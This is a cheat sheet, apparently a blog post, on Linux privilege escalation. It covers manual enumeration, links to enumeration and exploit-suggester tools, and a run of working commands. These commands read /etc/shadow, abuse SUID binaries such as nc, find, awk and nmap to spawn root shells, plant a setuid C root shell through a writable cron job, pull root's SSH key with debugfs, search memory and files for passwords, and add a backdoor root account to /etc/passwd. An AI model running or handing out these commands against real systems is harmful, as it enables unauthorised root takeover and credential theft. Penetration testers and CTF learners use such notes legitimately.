1. Manual enumeration
id pwd uname -a // are there kernel exploits? cat /etc/hosts cat /etc/passwd ls -lah /etc/passwd cat /etc/group cat /etc/fstab cat /etc/crontab df cd /home && ls ... // or execute ls -lahR /home/ cd /root && ls ... netstat -antup ps aux sudo -l su // if passwords are already known tmux ls screen -list cat /proc/self/... <- many interesting things. ls /proc/self/root <- alternative path to the root dir! uname -a // => Check for Kernel exploits find / -type f -user $currentUser 2> /dev/null // Check which packages are installed, here for Debian/Ubuntu apt list --installed | grep -v automati // Enumerate applications, /var/www/... // Go through all log files.... // => Check syslog for CRON executions.
=> See this list of interesting Linux files.
2. Script enumeration
Upload the _ex.tar file and begin to execute the enumeration scripts.
3. Extended enumeration
Go to these links.
- Linux
- Windows
Various notes
Techniques
Helper scripts
- https://github.com/mzet-/linux-exploit-suggester
- https://github.com/jondonas/linux-exploit-suggester‑2
- Linux Smart Enumeration
- https://github.com/rebootuser/LinEnum
- https://github.com/TH3xACE/SUDO_KILLER
- linuxprivchecker.py
- Muss ggf. in Python 3‑Skript konvertiert werden.
- Muss evtl. angepasst werden in Zeile 53: results = str(out, ‘utf‑8’).split(“\n”)
- https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
Monitoring scripts
- https://github.com/DominicBreuker/pspy
- Monitoring a system. Can be open in a terminal to see if other users/processes do stuff.
- If a user performs sudo somewhere -> sudo_inject
Running root services
- Check if vunerabilities are known for a running process to fork a shell.
- ps aux
- netstat ‑antup
- lsof ‑i
- Known software:
- MySQL: Could support shell command (system whoami within mysql)
Exploit SUID files
- Find them
-
find / -type f -user root -perm /u+s -ls 2>/dev/null find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \; find . -perm -o+r // find all world wide readable files.
-
- Check if vulnerabilities are known or if they have a feature to spawn a shell.
- Nmap:
-
nmap --interactive !sh
-
- Netcat / nc:
-
nc -e /bin/bash 127.0.0.1 4444
-
- awk / gawk:
-
awk '{ print }' /etc/shadow awk 'BEGIN {system("id")}'
-
- find:
-
find /home -exec nc -lvp 4444 -e /bin/bash \; find /home -exec /bin/bash \;
-
- strace:
-
Write and compile a a SUID SUID binary c++ program strace chown root:root suid strace chmod u+s suid ./suid
-
- npm:
-
ln -s /etc/shadow package.json && sudo /usr/bin/npm i *
-
=> Check https://gtfobins.github.io/ for a huge list with other binaries!
Caution:
- Some binaries using less or other software for displaying content. If the terminal is height enough, then they exit directly. Try to make the terminal very narrow so that the program has to to split the content to multiple “pages”. Then, e.g. use !/bin/bash in the case of less.
Exploit cronjobs
- Check if /etc/crontab and /etc/cron.* files are writeable directly.
- Check if files which are called / symlinked in the cron directories are writeable
- Check for world-writeable files with find / ‑perm ‑2 ‑type f 2>/dev/null
- Example with C code:
- If you can write some root crone file, you can e.g. create a c file like this:
-
#include <stdio.h> #include <sys/types.h> #include <unistd.h> int main(void) { setuid(0); setgid(0); system("/bin/bash"); } - Compile it here or whereever: gcc root.sh; chmod u+s a.out
- Add the program to a writeable cron job like
-
echo “chown root:root /tmp/rootme; chmod u+s /tmp/rootme;”>/.../cron-logrotate.sh
- Wait until the script has run and $profit.
Various
- Check groups
- To find all files who belonging to a group:
-
find / -group internal 2> /dev/null
-
- If the user is in the disk group, try this:
-
debugfs /dev/sda debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow
-
- To find all files who belonging to a group:
- Check sudoers
- Check all files in home directories
- Find files to write:
-
find . -writeable
-
find / -type f -writable -path /sys -prune -o -path /proc -prune -o -path /usr -prune -o -path /lib -prune -o -type d 2>/dev/null
-
- Find directories to write:
-
find / -regextype posix-extended -regex "/(sys|srv|proc|usr|lib|var)" -prune -o -type d -writable 2>/dev/null
-
- Password checking:
- Check for files containing PASSWORD
-
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
-
- Scan the memory for PASSWORD
-
strings /dev/mem -n10 | grep -i PASS
-
- Check files with PASSWORD
-
locate password
-
- Check for files containing PASSWORD
- Determine system timers to see what is execute automatically the next time:
-
systemctl list-timers --all
-
- If a user on the system performed sudo a short time ago, use https://github.com/nongiach/sudo_inject
- Can we read emails in /var/mail/?
- Check files between a time window:
-
find / -newermt 2020-01-02 ! -newermt 2020-02-01 2> /dev/null
-
- Is /etc/passwd writeable?
- If yes, change a passwords user or add a new root user (password can be set with openssl passwd evil)
-
echo "root2:AK24fcSx2Il3I:0:0:root:/root:/bin/bash" >> /etc/passwd
- Do memory investigation. Dump memory from interesting processes and grep/strings them.
Collections
- http://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
Leave a Reply
You must be logged in to post a comment.